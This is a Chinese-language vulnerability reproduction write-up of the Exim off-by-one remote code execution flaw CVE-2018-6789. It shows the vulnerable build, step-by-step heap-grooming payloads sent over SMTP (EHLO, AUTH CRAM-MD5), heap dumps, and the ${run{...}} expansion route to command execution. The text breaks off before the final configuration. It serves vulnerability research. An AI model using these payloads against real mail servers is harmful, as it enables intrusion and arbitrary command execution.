Exim Off-by-one(CVE-2018-6789)漏洞复现分析
作者:Hcamael@知道创宇404实验室
前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。
本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。
复现环境搭建
本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]
然后把分支切换到上一个commit
1 |
<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ git checkout </span><span class="lit">38e3d2dff7982736f1e6833e06d4aab4652f337a</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">$ cd src</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li></ol> |
Makefile仍然使用上次那个:
1 |
<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ cat </span><span class="typ">Local</span><span class="pun">/</span><span class="pln">makefile </span><span class="pun">|</span><span class="pln"> grep </span><span class="pun">-</span><span class="pln">v </span><span class="str">"#"</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">BIN_DIRECTORY</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">CONFIGURE_FILE</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">configure</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">EXIM_USER</span><span class="pun">=</span><span class="pln">ubuntu</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SPOOL_DIRECTORY</span><span class="pun">=/</span><span class="pln">var</span><span class="pun">/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">ROUTER_ACCEPT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">ROUTER_DNSLOOKUP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">ROUTER_IPLITERAL</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">ROUTER_MANUALROUTE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">ROUTER_QUERYPROGRAM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ROUTER_REDIRECT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">TRANSPORT_APPENDFILE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">TRANSPORT_AUTOREPLY</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">TRANSPORT_PIPE</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">TRANSPORT_SMTP</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">LOOKUP_DBM</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">LOOKUP_LSEARCH</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">LOOKUP_DNSDB</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">PCRE_CONFIG</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">FIXED_NEVER_USERS</span><span class="pun">=</span><span class="pln">root</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">AUTH_CRAM_MD5</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">AUTH_PLAINTEXT</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">AUTH_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L3"><code class="lang-sh"><span class="pln">HEADERS_CHARSET</span><span class="pun">=</span><span class="str">"ISO-8859-1"</span></code></li><li class="L4"><code class="lang-sh"><span class="pln">SUPPORT_TLS</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L5"><code class="lang-sh"><span class="pln">TLS_LIBS</span><span class="pun">=-</span><span class="pln">lssl </span><span class="pun">-</span><span class="pln">lcrypto</span></code></li><li class="L6"><code class="lang-sh"><span class="pln">SYSLOG_LOG_PID</span><span class="pun">=</span><span class="pln">yes</span></code></li><li class="L7"><code class="lang-sh"><span class="pln">EXICYCLOG_MAX</span><span class="pun">=</span><span class="lit">10</span></code></li><li class="L8"><code class="lang-sh"><span class="pln">COMPRESS_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">gzip</span></code></li><li class="L9"><code class="lang-sh"><span class="pln">COMPRESS_SUFFIX</span><span class="pun">=</span><span class="pln">gz</span></code></li><li class="L0"><code class="lang-sh"><span class="pln">ZCAT_COMMAND</span><span class="pun">=/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">zcat</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">SYSTEM_ALIASES_FILE</span><span class="pun">=/</span><span class="pln">etc</span><span class="pun">/</span><span class="pln">aliases</span></code></li><li class="L2"><code class="lang-sh"><span class="pln">EXIM_TMPDIR</span><span class="pun">=</span><span class="str">"/tmp"</span></code></li></ol> |
然后就是编译安装了:
1 |
<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ make </span><span class="pun">-</span><span class="pln">j8</span></code></li><li class="L1"><code class="lang-sh"><span class="pln">$ sudo make install</span></code></li></ol> |
启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。
本篇的复现,都是基于只输出部分debug信息的模式:
1 |
<ol class="linenums"><li class="L0"><code class="lang-sh"><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code class="lang-sh"><span class="com"># 输出完整debug信息使用的是-bdf -d+all</span></code></li><li class="L2"><code class="lang-sh"><span class="com"># 不开启debug模式使用的是-bdf</span></code></li></ol> |
漏洞复现
因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程
STEP 1
首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:
这个chunk要被分为三个部分,一个部分是通过store_get
获取,用来存放base64解码的数据,用来造成off by one
漏洞,覆盖下一个chunk的size,因为通过store_get
获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。
第二部分用来放sender_host_name
,因为该变量的内存是通过store_malloc
获取的,所以没有大小限制
第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块
和meh的方法不同,我通过unrecognized command
来获取一个0x4041的堆块,然后通过EHLO
来释放:
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">4102</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2010</span><span class="pun">)))</span></code></li><li class="L2"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1e0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L0"><code class="lang-python"><span class="pun">}</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191c0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4040</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L8"><code class="lang-python"><span class="pun">}</span></code></li></ol> |
0x1d15180是通过unrecognized command
获取的一个0x4040大小的chunk,在执行完EHLO
命令后被释放, 然后0x1d191c0是inuse的sender_host_name
,这两部分就构成一个0x6060的chunk
STEP 2
现在的情况是sender_host_name
位于0x6060大小chunk的最底部,而我们需要把它移到中间
这部分的思路和meh的一样,首先通过unrecognized command
占用顶部0x2020的chunk
之前的文章分析过,unrecognized command
申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);
通过计算,只需要让length + nonprintcount * 3 + 1 > yield_length
,store_get
函数就会从malloc中申请一个chunk
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"\x7f"</span><span class="pun">*</span><span class="lit">0x800</span><span class="pun">)</span></code></li></ol> |
这个时候我们就能使用EHLO
释放之前的sender_host_name
,然后重新设置,让sender_host_name
位于0x6060大小chunk的中部
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO %s"</span><span class="pun">%(</span><span class="str">"c"</span><span class="pun">*(</span><span class="lit">0x2000</span><span class="pun">-</span><span class="lit">9</span><span class="pun">)))</span></code></li><li class="L1"><code><span class="com"># heap</span></code></li><li class="L2"><code><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191a0</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code><span class="pun">}</span></code></li><li class="L0"><code><span class="lit">0x1d171a0</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2000</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code><span class="pun">}</span></code></li><li class="L8"><code><span class="lit">0x1d191a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x63636363636363</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6061</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d15180</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">}</span></code></li><li class="L6"><code><span class="lit">0x1d1f200</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6060</span><span class="pun">,</span></code></li><li class="L8"><code><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d27380</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636328</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L3"><code><span class="pun">}</span></code></li></ol> |
STEP 3
现在我们的堆布局是:
- 第一块未被使用的0x2020大小的chunk
- 第二块正在被使用0x2000大小的
sender_host_name
- 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk
我们现在再回过头来想想各个chunk的size的设置的问题
CHUNK 1
第一个chunk是用来触发off by one
漏洞,用来修改第二个CHUNK的size位,只能溢出1byte
store_get
最小分配一个0x2020的chunk,能储存0x2000的数据
这就导致了,如果按照store_get
的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位
然后因为(0x2008-1)%3==0
,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位
CHUNK2
第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0
其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。
经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用
CHUNK3
第三个chunk只要求大于一个store_get
申请的最小size(0x2020)就行了
STEP 4
根据第三步叙述的,我们来触发off by one
漏洞
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload1 </span><span class="pun">=</span><span class="pln"> </span><span class="str">"HfHf"</span><span class="pun">*</span><span class="lit">0xaae</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">payload1</span><span class="pun">[:-</span><span class="lit">1</span><span class="pun">])</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE IS_MMAPED </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol> |
并且构造在第三块chunk中构造一个fake chunk
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">payload </span><span class="pun">=</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0x20f0</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x1f31</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">((</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">484</span><span class="pun">).</span><span class="pln">encode</span><span class="pun">(</span><span class="str">"base64"</span><span class="pun">).</span><span class="pln">replace</span><span class="pun">(</span><span class="str">"\n"</span><span class="pun">,</span><span class="str">""</span><span class="pun">))</span></code></li><li class="L3"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x1d15180</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2021</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d191b0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2008</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf11ddff11ddff11d</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span></code></li><li class="L1"><code class="lang-python"><span class="pun">}</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x6363636363636363</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xf0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x1d1b1c0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x2020</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x4041</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520918288</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d1b1c0</span></code></li><li class="L5"><code class="lang-python"><span class="pun">}</span></code></li></ol> |
STEP 5
下一步跟meh一样,通过释放sender_host_name
,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO a+"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># heap</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d171a0</span><span class="pln"> PREV_INUSE </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1ddff11ddff11ddf</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f1</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1d21240</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x7f9520917b78</span><span class="pun">,</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L9"><code class="lang-python"><span class="pun">}</span></code></li><li class="L0"><code class="lang-python"><span class="lit">0x1d19290</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> prev_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f30</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> fd </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> bk </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span><span class="pun">,</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> fd_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x20f0</span><span class="pun">,</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> bk_nextsize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x1f31</span></code></li><li class="L7"><code class="lang-python"><span class="pun">}</span></code></li></ol> |
STEP 6
meh提供了一种不需要泄露地址就能RCE的思路
exim有一个expand_string
函数,当其处理的参数中有${run{xxxxx}}
, xxxx
则会被当成shell命令执行
而acl_check
函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string
函数
我复现环境的配置信息如下:
1 |
